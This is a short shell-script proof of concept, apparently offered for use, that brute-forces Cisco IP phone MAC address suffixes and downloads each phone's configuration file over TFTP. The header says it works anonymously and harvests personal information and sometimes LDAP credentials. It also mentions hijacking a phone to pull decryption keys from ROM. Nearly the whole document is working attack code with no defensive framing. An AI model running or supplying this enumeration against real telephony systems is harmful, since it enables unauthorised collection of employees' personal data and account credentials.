# Proof of Concept on how to get tftp config files from cisco phones #

# This can be performed anonymously and privileges gathered relies on #

# those assigned to the ldap account #

# Developed by Daniel Svartman (danielsvartman@gmail.com #

# In case tftp files are encrypted, you will need to hijack a phone #

# and download the decryption key from the ROM memory #

#######################################################################

# This example below is for enumerating and downloading configuration files from phones

# With this you can gather personal information and sometimes also credentials from LDAP

# The first 8 digits of the MAC address relies on cisco mac address used by phones

# While the last 4 are generated automatically

BASE_MAC=$1

TFTP_SERVER=$2

perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt

#Now we should download the files

while read LINE; do

tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml

done < mac.txt

#Finally, we download and process also the SPDefault.cnf.xml file

tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
